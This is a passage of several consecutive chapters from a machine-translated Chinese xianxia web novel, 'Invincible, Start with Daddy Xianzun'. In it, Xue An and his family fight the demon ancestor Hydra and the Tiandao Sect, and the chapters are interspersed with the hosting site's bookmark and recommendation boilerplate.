    In the sky, including Fox Night, all the elite of the nine-tailed fox clan and the dragon clan powerhouses such as Long Er Princess Ao Yi are besieging Hydra.


    There were shouts of killing everywhere, and everyone with red eyes tried to slaughter the opposite person.


    In this case, even if someone saw An Yan''s situation, they came to help without any flaws.


    Therefore, Tian Su came to Chao Anyan and the others in his spare time, even with a smile on his face.


    An Yan''s hand gradually squeezed the pan, looking at Tiansu who was approaching with a cold face, silently waiting for the best time to shoot.


    Tiansu saw her thoughts, but it was only a small half-step Da Luo, he didn''t put it in his eyes at all, but looked at Anyan with a playful look.


    "Woman, why? Don''t you plan to surrender? With your strength, I breathe out you may be gone, so let''s surrender honestly, not to expect someone to rescue you, after all, even this Qingqiu The fox kingdom is about to be destroyed, who else can help you?"


    Tiansu said triumphantly, but as soon as his voice fell, An Yan''s eyes flashed with brilliance, and the whole person suddenly violent, raising the pan, and slammed down towards Tiansu.


    Tian Su sneered, "I''m really obsessed with it, then I will let you see what is true power."


    As he said, he didn''t even move, just a cold snort.


    With a sound, a huge coercion blasted out, rushing to Anyan extremely violently.


    Chan''er exclaimed, "Madam!"


    But not to mention her strength, she can''t even get close.


    There was a cruel look in Tiansu''s eyes, and he was left behind in this blow, because he didn''t want to kill An Yan yet.


    Wouldn''t it be a waste of such a stunning death?


    At least you have to enjoy it to kill.


    But just as he was making his wishful thinking, the pan in An Yan''s hands seemed to feel the danger, and suddenly began to flash crazily.


    And Lei Zun among them was also shouting, "Die me!"


    As he said, a blindingly bright thunder light exploded, smashing the blow in an instant, and then covering Tiansu''s whole person.


    The sizzling electric current resounded through the sky, and it made many people on the battlefield look back.


    "How is it possible? This momentum is...!" someone exclaimed.


    At this moment, a voice full of anger came from the thunder light, "Damn it, whose guardian power is this fairy king?"


    Following the voice, two hands directly tore the thunder lights apart, and Tiansu walked out of it.


    It''s just that at this moment, he no longer has the calmness he had just now, but has become embarrassed.


    There were even a few more scars on the carefully maintained cheek.


    This couldn''t help making Tiansu even more furious, and roared: "I''m going to kill you!"


    As he said, he didn''t dare to have the slightest contempt, and stomped his foot suddenly, and his whole body rose up into the sky and came straight to Anyan in the air.


    At this time, An Yan was trembling slightly.


    As for the pan in his hand, it was covered with scars, as if it was about to break in the next second.


    The protective power just burst out of the pan.


    And the guardian is Mingjun Ye Hanshang!


    Because Xue An had taken Ye Hanshang a drop of the blood of the Immortal King to recast the pan, which was just triggered by Tiansu''s murderous intent.


    But now, An Yan no longer has the strength of the first battle, and can only stare coldly at his Tiansu.


    Seeing Anyan getting closer and closer, Tiansu couldn''t help showing a touch of excitement in his eyes.


    When I catch you, I will let you know what it means to die!


    He was secretly ruthless.


    But at this moment, a clear sound suddenly came from the ground.


    "Big villain, dare to bully my mother and die for me!"


    Just thinking about it, I saw her at this moment, her small face was as cold as frost, and her eyes were full of murderous intent. Although she was young, she had an awe-inspiring power.


    But Tian Su just sneered at this, without even looking at it.


    With his strength and identity, of course he wouldn''t care about such a near-ridiculous threat.


    But this time, he was wrong, and very wrong.


    But when I think about it, I raised my hand and pulled out a slender and small red sword from my small bagLook at the sword! "


    With that, she threw it at Tiansu.


    Many people saw this scene and couldn''t help shaking their heads and sighing secretly.


    A seven or eight-year-old girl actually dared to threaten the strong immortal emperor with words, which in itself was just like a joke.


    Coupled with this almost toy-like little sword, many people think that this is just a child''s mischief.


    Tiansu didn''t care about it even more.


    But when the small sword was thrown into the air and it was about to fall, a strong sword intent that could not be described in words rose to the sky from the small sword.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 1885 The Guardian of the Immortal King (First Update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1881： Who else dares to come forward?

    "Invincible, start novel cool notes from Daddy Xianzun ( Find the latest chapter!


    Where Jianyi passed, there happened to be a chariot floating high in the sky.


    This chariot is tens of thousands of miles in size. The whole body is made of cryptic gold and engraved with countless talisman seals, which is extremely strong.


    For ordinary monks, let alone smash it, it is not easy to leave a mark on it.


    But when this sword intent rumbling over from this chariot.


    The tank made a loud noise, and then a thin crack appeared in the center of the tank.


    The crack was very inconspicuous at first, but only after an instant, the crack began to expand rapidly.


    Rumble!


    After a few breaths, the chariot was chopped in half from the middle, and the cut was as smooth as a mirror, with no burrs.


    Immediately afterwards, the chariot exploded into countless fragments after a loud noise.


    The fragments fell like rain.


    But no one pays attention to these at the moment.


    Because at the same time that the sword intent rose to the sky, this slender little sword suddenly increased countless times, and then turned into a red light and came straight to Tiansu.


    Tensu''s reaction was not unpleasant.


    In fact, as soon as this sword intent appeared, he didn''t even turn his head back, and ran straight to the distance.


    Because he can feel the strength of this sword intent.


    That piercing feeling made his hairs stand up, and there was only one thought in his mind.


    The power of the emperor!


    Only the power of the immortal emperor can issue such a powerful sword intent.


    This thought made Tiansu run forward desperately.


    But no one among the heavens can be faster than the sword repaired by the sword.


    Neither is the fairy king.


    Without even a flash of thought, this red light rushed to the top of Tiansu''s head, and then cut straight down.


    "Do not!"


    Tiansu let out a rapid and tragic scream, and at the same time, his eyes were bright, urging the whole body''s cultivation base, and in an instant, hundreds of protections were arranged outside of the body to try to resist this sword.


    But all this is in vain.


    Jianxiu''s sword never shook due to any external interference, so after only listening to a burst of crackling, the sword light appeared on Tiansu''s head and then burst.


    boom!


    The violent sword light flew freely, and within a radius of thousands of miles, all creatures were instantly wiped out.


    Even thousands of miles away, people can still feel the powerful sword intent that makes people feel chilling.


    A look of horror appeared in everyone''s eyes.


    What is the origin of this stunning sword? Why is it so powerful that even the supreme master of the Heavenly Dao Sect, the dignified top Immortal King powerhouse can''t escape?


    As for the people of Tiandaozong, all of them were dumbfounded.


    Sect... Where is the lord?


    Could it be that the Sect Master died like this? Died in the hands of a little girl?


    at the same time.


    Think about it lightly patted the palms, and said lightly: "Dare to bully my mother, this is the end!"


    After speaking, she turned her head to look at everyone, and said coldly, "Who else would dare to come forward?"


    Under this word, no one dared to speak, and even some of the deacons of Tiandaozong who were relatively close could not help but step back a few steps with horror on their faces.


    Nian-nian slapped her slap and cheered and said, "Wow! My sister is amazing!"


    Even An Yan looked at her eldest daughter in a bit of astonishment, as if she couldn''t believe that she did everything just now.


    An Yan naturally thinks about carrying a small sword with him.


    It was given by Xue An to think about it, saying that it was a gift from a kendo power. As for who Xue An didn''t say, An Yan probably guessed it.


    It should be Li Jingxing, the master of the sword palace. Read the book


    What Xue An said at the time was very simple. It was to let you play with this small sword when you think about it, so that it can be used for self-defense when something is wrong.


    Unexpectedly, a small thing at that time played a big role at this moment.


    Think about using the power of this small sword to slash the Immortal King with a calmness beyond that of the same age.


    If this incident spreads, it is estimated that many people will be eye-catching.


    Thinking about being stared at by An Yan, I feel a little embarrassed. He scratched his head and said with a smile: "Mom, what do you always look at me for?"


    An Yan let out a sigh of relief, smiled slightly, just about to speak.


    Suddenly a person''s horrible howling sounded faintly in the void.


    "Master Yaozu save me!"


    Hydra, who was being frantically besieged by Fox Ye and others, lowered his head and looked down at the situation on the ground, and frowned slightly.


    "It''s such a waste, I was successfully attacked by a kid!"


    "All this is because of the sword intent of the Lord of the Sword Palace!" In the void, Tiansu''s voice became weaker and weaker.


    "Okay, it''s really troublesome."


    As he said, a tentacle suddenly stretched out of Hydra''s eyebrows, and it plunged directly into the void and pulled it out.


    A faint figure was rolled out by the tentacles.


    It is Tiansu!


    It was just that he was extremely miserable at this time, his body was cut off by the sword intent, leaving only a ray of remnant soul to escape.


    This is because thinking about controlling the sword intent is not very skilled.


    Otherwise, this sword will kill him.


    "Thank you Master Yaozu!" Tiansu''s remnant soul tremblingly thanked him.


    "Thanks? Thanks for what?" Hydra grinned, and then let go of the fox night that had attacked again.


    The remnant soul of Tiansu suddenly understood something, and began to cry miserably, "Lord Demon Ancestor forgive me, Lord Demon Ancestor forgive me, I would like to serve you for generations, please don''t eat..."


    Before he finished his words, the tentacles that entangled him suddenly opened a mouthful of blood and swallowed it in one mouthful.


    Then Hydra sneered and said, "Serve me? Ha ha, you are worthy of rubbish!"


    This scene made many people tremble.


    You must know that this Tiansu is the dignified sect master of Tiandaozong, the powerhouse of the Immortal King class, and also the subordinate of this Hydra.


    But it was such an identity, but he was eaten by one bite.


    How can this not be frightening.


    But to this Hydra, this was nothing more than a trivial thing.


    He even burped contentedly, then looked at An Yan and missed with a grin, his face was full of undisguised greed.


    "Interestingly, one has the true eye that sees through all the illusions, and the other has the strong talent for speaking and speaking. If this is swallowed by this seat, the strength will be even greater!"


    Having said that, while coping with the increasingly fierce attack of the crowd, he separated a tentacle from his belly and went straight to the three Anyan mother and daughter on the ground.


    "No!" Many people exclaimed at this scene.


    Huye immediately left everything behind and rushed to this tentacle desperately.


    In the distance, Xiaosha, who had just been back to the battlefield by Zhang Xiaoyu, was even more angrily screamed, "Master Mistress!"


    Then he didn''t know where the strength came from, and he flew into the air forcibly, trying to rush to save Anyan mother and daughter.


    But they are all too far away.


    And the tentacles of Hydra fly extremely fast.


    Therefore, they can only watch this tentacle go straight to Anyan.


    Despair and madness appeared in Hu Ye''s eyes.


    He couldn''t imagine what Xue An would become if something happened to An Yan.


    Therefore, he could only burn his blood and rush forward desperately, hoping to save it all.


    But it was too late.


    For the convenience of reading next time, you can click on the "Favorites" below to record this time (Chapter 1886 Who else dares to come forward? (second more)) Read the record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1882： The blue bird transforms itself, reshapes itself

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    Seeing the tentacles, they would fly to Anyan.


    At this moment, a thin figure suddenly stood in front of An Yan.


    At this moment, everyone''s eyes opened wide in the sky and underground, and they were all shocked.


    Because the one who appeared in front of Anyan''s mother and daughter was no one else, but Fox Ye''s newlywed wife, Arou!


    "Rouer!" Hu Ye exclaimed in disbelief.


    A Rou raised her eyes and smiled at him slightly, then her eyes became extremely hot.


    She raised her hand and held the attacking tentacles within a short time, while holding a turquoise feather in the other hand, she pierced her shoulder without hesitation.


    This feather is the one given to her by the elder at the wedding.


    puff!


    With blood splattering, this feather seemed to be activated and began to grow and spread rapidly.


    That''s right!


    Just spread!


    I saw that A Rou began to grow feathers on her body, and her body shape changed rapidly.


    In the blink of an eye, she took off her human form and turned into a green and beautiful bird.


    Then the beak opened slightly, and a cyan flame spewed out, which happened to be on the tentacle.


    This flame seemed ordinary, but it was extremely lethal. As soon as it touched, it burned the front end of the tentacles to ashes, and then extended up the tentacles, and rushed to the Hydra in the blink of an eye.


    At this time, the color of this flame has reached the extreme point of Aomori. Although I can''t feel the scorching heat wave, it makes people fear it from the bottom of my heart.


    But Hydra just sneered when he saw it, and then waved casually.


    puff!


    The flame went out.


    Then Hydra laughed, "Jiejie, a small blue bird, dare to be presumptuous in front of me?"


    Bluebird!


    The genus of ancient divine beasts is one of the divine birds second only to Phoenix, Suzaku and Kunpeng.


    The boss with Huye''s mouth open.


    He didn''t expect that the blood of the ancient blue bird was flowing through A Rou''s body.


    Ao Yi lifted up the huge dragon eye, took a cold look at the blue bird that A Rou had transformed, and said lightly, "It''s because of the emperor''s flow!"


    The most miraculous effect of Diliuye is to invigorate blood and return the thin blood to the ancestors.


    And A Rou''s body didn''t know when a trace of blue bird blood was mixed in, and God''s fluidization was added, which eventually led to her successful transformation.


    Of course, the blue bird feather of the great elder also played a vital role.


    At the same time, A Rou made a clear sound, then flapped his wings, instantly turning into a cyan brilliance, and came straight to the Hydra.


    Hydra didn''t care, but sneered again and again: "At the beginning I sent countless clones to collect people with the blood of ancient gods and beasts, and you are one of them, so I deprived you of your vision to absorb the blood of the refining blue bird. !"


    "But you are lucky, and you got the enlightenment of Emperor Liuxia, but do you think you can get revenge in this way? You are wrong, because even if the Lord of Blue Bird reappears, I am not afraid!"


    As he said, Hydra shook back Arou with a snap of his finger, then looked up to the sky and laughed.


    "Okay, I had a great time playing this time, but now I don''t play with you anymore, so...you all go to die!"


    With the voice, tentacles suddenly stretched out among Hydra''s eyes, ears, nose and mouth, and at the same time his hair grew rapidly, turning into countless tiny tentacles. Three K Novel Network


    These tentacles grew extremely fast, but in the blink of an eye the entire sky was enveloped.


    In the dark and dark, the sky full of tentacles wandered and wriggled like a swarm of snakes, and they made waves of friction, which was creepy.


    Outside of the planet, the Saintess of Slaughter Temple and the others looked at the planet in front of them solemnly.


    Because the planet at this time has been completely wrapped by the tentacles, and has become a big squirming meat ball.


    "Let''s go, the victory or defeat has been divided, and the Qingqiu Fox Country will no longer exist from now on!" The Slaughter Temple saint said sadly, then turned around and left.


    Not only her, everyone who saw this scene understood that Qingqiu Fox Country was over.


    At the same time, within the planet, the dragon elder suddenly shouted, "Hurry up and stop him, he wants to refine the whole world!"


    Everyone woke up like a dream, and immediately attacked frantically.


    But all the attacks were blocked by the ubiquitous tentacles.


    At the same time, in the center of the tentacles, there was a sound of laughter from Hydra, "It''s useless, this world will be mine, and you will become the delicacy in my womb."


    While speaking, these tentacles began to attack everyone frantically.


    Darkness enveloped the world, and despair appeared on everyone''s faces.


    Even An Yan, who has always believed that Xue An will be fine, can''t help but shake at this moment.


    Husband, where are you? Why doesn''t it appear yet?


    It seemed that she had heard the call in her heart, and a faint sigh suddenly spread to the ears of everyone present.


    "Did you play so lively without coming back for a while?"


    Hearing this voice, An Yan immediately covered her mouth, tears filled her eyes with excitement.


    Hu Ye let out a sigh of relief, and then yelled, "If you have a surname, I know you will be fine. Hurry up, everyone can''t hold it!"


    Even people outside the planet heard this voice.


    The saint of Slaughter Temple who was about to leave suddenly turned around after hearing these words, looked at the planet in disbelief, and exclaimed in a low voice: "How is it possible? How could he be alive?"


    But at this moment, Xue An''s voice sounded again.


    "Don''t worry, you have to eat one bite at a time, and you have to do everything one by one. Are you right? Hydra!"


    Hydra froze for a moment, but soon returned to normal, and then coldly snorted: "What if you are not dead? If I can kill you once, I can kill you countless times!"


    "Good point!" This time the voice got closer, and there was applause.


    Everyone looked at the source of the sound.


    But Xiaodian Guanghua began to condense, and then a boy in white walked out of it.


    As soon as he appeared, everyone in the audience was in shock.


    Because the young man who appeared before him was like Xue An, but there were some differences.


    His appearance has become more handsome and delicate, but his aura is much more restrained If Xue An before was like a sharp sword, then Xue An now looks like a gentle and flawless jade.


    Especially his eyes are as dark as jewels, deep as the sea, making you feel an urge to sink in just by looking at them.


    Hu Ye whispered softly: "Fuck, is Old Xue handsome again? It''s about to threaten my appearance."


    After seeing this, Hydra''s eyes were full of light, and the tone was cold and cold: "Reshape the flesh? You just reshape the flesh in the turbulent flow of the void?"


    Xue An smiled and nodded, "Yes, I was really reshaping my body just now, and now I have stepped through the fairy king''s entrance and entered the realm of the top fairy king, so..."


    "Aren''t you going to kill me again, then please do it!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1887 Transformation of the Blue Bird, Reshape Yourself (third more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1883： Disrupt the cause and effect

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    "Huh! What can you do to become a top immortal king? If you don''t become an immortal emperor, you will still be an ant in front of me. Since you want to die so much, then I will fulfill you!" Hydra said with a grin.


    At the same time, countless tentacles suddenly began to wander around frantically, and then rushed towards Xue An overwhelmingly.


    This scene caused everyone''s hearts to mention their throats.


    "Old Xue, don''t have anything to do with you!" Hu Ye watched with piercing eyes and whispered.


    Hu Ying stared blankly at the white light in the sky.


    In this sky full of tentacles and darkness, this white light represents everyone''s hope.


    Missing Nian even grasped An Yan''s hand tightly, and her little face was full of worries and expectations.


    When these tentacles rushed in front of Xue An, Xue An suddenly raised his eyes, and then raised his foot to take a step forward.


    This step did not seem to be surprising, and fell into the void lightly.


    But at the moment of stepping, all the tentacles that rushed in were as if they had been directly cut off all their vitality, instantly withered and turned into fly ash.


    This incredible scene made everyone''s eyes wide open, and Hydra''s eyes were even more brilliant, and he said solemnly, "The power of cause and effect?"


    Xue An smiled slightly, "Yes."


    A solemn color appeared in Hydra''s eyes.


    Because the step Xue An just took seemed inconspicuous, but it directly eliminated the cause and effect of these tentacles.


    In other words, these tentacles are erased from the causal level.


    They didn''t exist at all, and naturally turned into fly ash instantly.


    This kind of attack is extremely overbearing.


    But Hydra was just surprised, and then returned to normal.


    "It seems that I really underestimated you. No wonder I was able to prove Dao Immortal Venerable back then. I really had two brushes, but do you think this is enough?" Hydra sneered.


    "Enough is enough, you have to fight to know!" Xue An said lightly, and then walked towards Hydra step by step.


    Every step will have countless tentacles turned into fly ash.


    However, the ten-step situation just covered the sky and the sun, and all the tentacles that covered the entire planet disappeared.


    The people outside the planet saw an almost magical picture.


    As if someone was using an eraser to wipe away all the darkness, a white light expelled all the tentacles from the darkness in the blink of an eye.


    The Saintess of Slaughter Temple was trembling with excitement, "It is the power of causality! God, how many secrets are there in him?"


    at the same time.


    Xue Anye had arrived at the top of the sky, and he was hunting and hunting in white clothes, standing high and condescending like a god.


    When the Hydra saw this, he snorted coldly, "Being mystery, die for me!"


    Boom!


    A huge thunder condensed out of thin air and slashed towards Xue An.


    Xue An didn''t even look at the thunder, but raised his eyebrows slightly, and the thunder disappeared silently.


    Immediately afterwards, Xue An raised his hand and pointed to the Hydra in the distance, like an emperor with a constitution, and shouted in an ice-cooled and extremely majestic tone: "Cause and effect, destruction!"


    Xue An''s awakened natural power in this life is to control cause and effect, but he rarely uses it after he arrives at Daluo.


    Because a strong man at this level generally has his own life-saving secret skills, but at that time his causal application method was only one, and that was reversal.


    This trick seems very powerful, but in fact it has a lot of limitations. Qiankun Tingshu


    This is especially true when dealing with demons who live up to the will of heaven and earth.


    But now it''s different.


    Xue An reshaped his body in the void, crossed the Immortal King''s entrance, and entered the realm of the top Immortal King, and made great progress even with the power of cause and effect.


    This trick he is now performing is an example.


    To destroy cause and effect is to deal with each other directly from the root cause of everything.


    This kind of lethality is naturally far better than reversal.


    Especially when Xue Anqin used it automatically, the power was even more tyrannical.


    But seeing a puff of gray, the inconspicuous brilliance instantly crossed the middle distance and reached the top of Hydra''s head, covering it.


    The Hydra''s momentum dimmed in an instant, but after just a blink of an eye, the falling momentum burst out again.


    Bang.


    The gray brilliance bound to him was directly blown into nothing, Xue An was also shaken back for half a step, and the breath on his body also trembled.


    Seeing this, Hydra laughed wildly.


    "Xue An, your power of cause and effect is indeed great, but all of this is useless to me, because I am an existence beyond the karma of the heavens, and nothing can hurt me! Hahahaha!"


    Amid the laughter, many people''s hearts gradually fell to the bottom, and despair appeared in their eyes.


    Even the power of cause and effect can''t kill him, can it really be impossible for him to defeat it?


    At this moment, Xue An sneered slightly, "Oh? Nothing can hurt you?"


    "Yes, I am an immortal body, an invincible existence, so Xue An, you still have that heart dead, and surrender to me! Maybe I will be kind, and I can save you a small life!" Hydra Said triumphantly.


    Xue An smiled, "The immortal body, the invincible existence... Hehe, it seems that someone who brags about being an immortal body in front of me, in the end, without exception, all of them are dead and can''t die again, and you...the same !"


    Following the voice, he saw Xue An''s hands directly inserted into the void in front of him, and then slowly pulled out.


    Click!


    With the explosion of space, a huge sword with countless golden seals condensed on the body of the sword was forcibly pulled out of the void by Xue An.


    "It''s Mo Wangan! God, how did this sword become like this?" On the ground, the sharp-eyed Fox Ying recognized the sword at a glance and couldn''t help exclaiming.


    Xue An said coldly: "This sword has been with me for many years. During this period, I have killed countless demons. Even the strong immortal kings have hated this sword. Today, I will use it to kill you!"


    Hydra rolled his eyelids, and sneered disdainfully: "Hehe, store it in the void to condense the sword intent and cultivate the sword body. I have to say that this is a good way, but if you want to kill me, you are still dreaming!"


    Xue An ignored his mockery, but took a deep breath slowly.


    No one can imagine the power of Xue An taking a deep breath.


    It was as if a giant swallowing beast that had been sleeping since the time immemorial finally woke up and stretched out.


    The sky and the earth are shaking, the sun and the moon are trembling The Qi machine of the whole world is boiling because of Xue An''s deep breath.


    At the same time, the incomparably bright and solemn sword intent rose from Xue An''s body into the illusion of a huge long sword.


    But this was only the beginning, a flame suddenly rose in Xue An''s eyes.


    As soon as this flame appeared, it ignited the entire world.


    But in the void, a blood-red flame enveloped the entire sky.


    And under the long sword illusion, a red lotus bloomed slowly, and the two formed a beautiful picture.


    But this was still not enough, and there was another gray brilliance that turned into vines, wrapped around the sword.


    This is Xue An''s causal power.


    In order to facilitate the next reading, you can click on the "Favorites" below to record this (Chapter 1888 Disruption of Cause and Effect (first update)) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1884： One more sun in the sky

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    "Lao...Lao Xue is showing up the family background?" Fox Ye muttered sluggishly.


    At the same time, Xue An raised his sword to lift the sky, and all the illusions above his head instantly condensed with this Mo Wangan, and then released a dazzling light.


    When Guanghua arrived, everything stagnated.


    A look of horror finally appeared on Hydra''s face, "This..."


    The following words were not finished, because Xue An would not give him a chance to speak again.


    I saw Xue An holding the sword in both hands and yelled, "Kill!"


    Then it fell down.


    What a sword this is!


    At first glance, it seems that there is no aura, like a naughty boy playing, but in the middle of the sword, everything is stopped in the sky and the earth.


    Then, the sword light burst out like a long rainbow.


    this moment!


    There is an extra sun in the sky.


    Hydra screamed, "Bloat your sword intent? Xue An, are you crazy?"


    As he said, he went back crazy.


    Because he knows very well that if he doesn''t run, then this sword will definitely hit him badly.


    But nothing in the heavens can be faster than the sword repaired by the sword.


    Even a strong man like Hydra can''t do it.


    Therefore, before taking a few steps, Jian Mang was already present.


    Puff puff!


    With a muffled sound, the Hydra''s body was chopped out of huge wounds.


    And this time dripping blood finally came out of the wound.


    The Hydra roared again and again, but despite this, his speed did not slow down at all, but frantically urged his body to speed up and flee.


    But at this moment, Xue An''s very indifferent voice came from behind him, "Hydra, do you know who I am?"


    Hydra shook all over, but the speed did not slow down. Instead, he roared without looking back, "Who are you named Xue?"


    Xue An sneered coldly, and then whispered softly: "I am a Chinese!"


    The four simple words seemed to have magical powers, causing the Hydra''s figure to stop instantly, and then turned his head to look at Xue An in shock.


    "Chinese? Are you actually Chinese?"


    "Yes!" A sneer appeared on Xue An''s face, "Are you surprised to hear this name?"


    Hydra finally understood everything, but immediately he screamed: "The surname Xue, you originally wanted to avenge the Chinese people back then? But I tell you, that is absolutely impossible!"


    "Impossible? Hehe, in my eyes, nothing is impossible! You, and the people behind you, are all the same, all have to die!"


    Having said that, Xue An''s eyes appeared decisive, and the long sword in his hand once again exploded the bright sword light, and then pierced the space in an instant, and came to the chest of Hydra.


    This time, Hydra did not run away, but looked at Xue An with a strange look.


    There was consternation and indifference in his eyes, but it was more of a mockery.


    He didn''t even resist, but let Xue An pierce his chest with a sword.


    puff!


    As the blood splashed, the long sword pierced through the chest and leaked from the back.


    But Hydra''s face didn''t even have a trace of pain. Instead, he looked at Xue An coldly, then moved his lips slightly, and said in a sarcasm voice: "You don''t understand how ridiculous your thoughts are now!"


    "Because you don''t know how terrible the person you have to deal with!"


    As he said, Hydra raised his hand to hold the sword pierced into his chest and slammed hard.


    Click!


    Mo Wangan broke into pieces, and then the sword light exploded.


    A huge explosion instantly swept across the sky.


    Everyone was shed tears by the sharp eyes of the sharp sword, unable to look directly.


    People with weaker strength can''t even lift their heads.


    They naturally couldn''t hear the conversation between Xue An and Hydra just now, but despite this, people did their best to look to the sky, trying to see the final result of this battle. 678 Fiction


    at last.


    The explosion gradually subsided, and the sky returned to calm.


    Then a young man in white appeared in front of everyone.


    As for the Hydra, it has disappeared.


    Seeing this scene, the people of Qingqiu Fox Country couldn''t help but breathe.


    Hu Ying and others cried with joy.


    "Brother Xue!" Hu Ying excitedly waved his arms and cheered.


    But they were happy, but the people of Tiandaozong all changed.


    "Monster!"


    Amid the screams, the originally strictly disciplined battlefield began to riot, and there was a vague collapse.


    Not only that, but many deacons and disciples began to quietly retreat far away.


    After all, not only the suzerain is dead now, but even the demon ancestor is still alive and dead. Facing such a situation, fleeing is the best policy.


    Hu Ye peeped at the opportunity, and was ready to step forward and beat down the dog.


    But at this moment, An Yan suddenly said, "Fox Ye, don''t move!"


    "What''s wrong with my sister-in-law?" Hu Ye was taken aback and asked with some doubts.


    An Yan looked at Xue An in the air, and said in a deep voice: "Something''s wrong!"


    "What''s wrong?"


    "Xue An is not right, because if normal, he should have come down long ago!"


    When An Yan said so, everyone felt puzzled.


    "Maybe Brother Xue is conditioning his breath in the air!" Hu Ying smiled forcefully.


    "No!" An Yan shook his head and said solemnly: "He seems to be waiting for something!"


    really.


    Xue An''s face in the midair was as sinking as water, without the slightest joy of eradicating the enemy''s back. Instead, he looked at the void with piercing eyes, as if waiting for something.


    After being aware of the abnormality, everyone gradually calmed down, and the previous joy disappeared.


    "What is Brother Xue waiting for?" Hu Ying said softly.


    As soon as the voice fell, a scream suddenly came from the Tiandaozong camp.


    A disciple suddenly fell to the ground, lost all his blood, turned into a corpse and died.


    This terrifying scene caused great chaos in Tiandao Sect.


    People started scrambling to flee.


    But at this moment, all the people of the Heavenly Dao Sect, whether they are disciples or deacons, began to drift away from the top of their heads.


    Every bit of brilliance will weaken the blood of these people.


    This terrible scene frightened all the members of the Heavenly Dao Sect.


    "No! What''s going on? I don''t want to die!" A big deacon screamed, but as soon as the voice fell, he fell to the ground, turned into a withered bone, and died desperately.


    In an instant, everyone in Tiandaozong fell in pieces like ears of rice being harvested.


    And everyone who fell was turned into a corpse.


    This hellish scene shocked everyone.


    At the same time the entire sky was occupied by diffuse brilliance, and then these brilliance began to condense together.


    The silhouette of a human figure began to emerge.


    at last.


    When the last bit of brilliance was completely integrated into it, this vague humanoid silhouette began to take shape rapidly.


    In the blink of an eye, a young man appeared in front of everyone.


    A...a young man with beautiful features in white clothes, Shengxue!


    When he opened his eyes, everyone was shocked.


    Hu Ye even screamed, "Fuck! Why is there another old Xue?"


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 1889 There is a sun in the sky (second more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1885： Go your way and leave you nowhere

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    That''s right.


    What appeared in front of everyone was a young man who was not different from Xue An, and even the expression between his brows and eyes was extremely similar.


    The two stood together, as if there was a mirror in the world.


    This incredible scene stunned everyone.


    Xue An laughed, "I have to say, what you imitated is really alike!"


    The Hydra on the opposite side also smiled, and even the smile was seven points similar to Xue An.


    "You don''t seem to be afraid at all!"


    "Afraid?" Xue An shook his head and chuckled, "Why should I be afraid? You know... I was waiting for you!"


    Hydra''s complexion changed, "What? Do you know I will come back to life?"


    "Of course I know. After all, with your strength, you will definitely not die so easily, but what I didn''t expect is that you would directly sacrifice the entire Tiandao Sect."


    Hydra raised the sky and laughed, "Xue An, I have to say that you are indeed a bit knowledgeable, but you are still too good of a woman. This day Dao Sect is just a chess piece in my hand. These people can do it for me. Death is considered their good fortune. Is this worth talking about?"


    "So you have become my appearance?" Xue An''s face gradually became cold, and he said solemnly.


    "Hehe, Xue An, I said before, don''t use the same trick twice on me, because I won''t be immune to it until the second time!"


    Speaking of this, Hydra''s face was full of sarcasm, and he said lightly: "Even you are the same! Your strength is very strong, the strongest among the immortal kings I have ever seen, and even many immortal emperors can''t match it. You, so I will be transformed into your appearance directly, in this case, all your tricks will be invalid for me."


    "So Xue An, what are you still fighting against me now?"


    The Hydra laughed arrogantly, the madness and pride in the laughter almost overflowed.


    And everyone changed even more after hearing the words.


    Because if it is true as Hydra said, then his talent is simply terrifying.


    To describe it in one sentence is to walk your way, leaving you nowhere to go.


    When everyone in the audience was shaking, Xue An suddenly appeared in front of the laughing Hydra, and then raised his hand with a punch.


    This punch was like a cannonball, banging directly at the face of Hydra.


    Hydra didn''t even raise its eyelids, and blocked Xue An''s punch for a period of time, and then sneered slightly.


    "I said, all your attacks now do not work for me, why don''t you listen?"


    As he said, a bright sword intent suddenly appeared between the eyebrows of Hydra, which expanded in an instant, and then struck Xue An.


    "Fuck, Red Lotus Jianyi! This guy can even imitate this?" Hu Ye said in shock.


    Linghuye had become a ruthless slumber machine during this battle, because he no longer knew what words to use to express the shock in his heart.


    Xue An raised his eyebrows slightly, and a ray of sword light flashed past, colliding with this sword intent, and then disappeared into nothing.


    But at this moment, a sly look appeared in Hydra''s eyes, and then he whispered: "Cause and effect!"


    The huge force of cause and effect instantly descended on Xue An''s body, making him stiff and standing in place.


    "Broken!"


    With an order, cracks appeared on Xue An''s body instantly, and these cracks expanded rapidly.


    In the blink of an eye, Xue An''s entire body showed a state of collapse.


    "Husband!" An Yan finally couldn''t contain the panic in his heart, and screamed.


    Because this battle has exceeded her imagination.


    In the past, no matter how powerful the opponent was, there were traces to follow.


    But now the person Xue An has to deal with is himself.


    And all his tricks have failed. Girls Classmates Network


    How to fight this?


    Xue An heard the shout, turned his head to look at An Yan, and then nodded slightly at her, which meant he was all right.


    An Yan covered her mouth and tried her best to keep herself from crying.


    Because of Xue An, the situation is terrible.


    Not to mention the scars and blood stains all over his body, even those bright eyes have become dull and dull.


    How can this not make An Yan feel distressed.


    The two little girls burst into tears.


    "Dad, come on!" I thought about waving my small arms and shouting with all my strength.


    Even more desperately, Nian-nian rushed forward a few steps, raised her finger at Hydra, "You big villain, go to death!"


    The subtle aura began to collapse like a domino, and the will of Heaven became sharp instantly and began to target the Hydra.


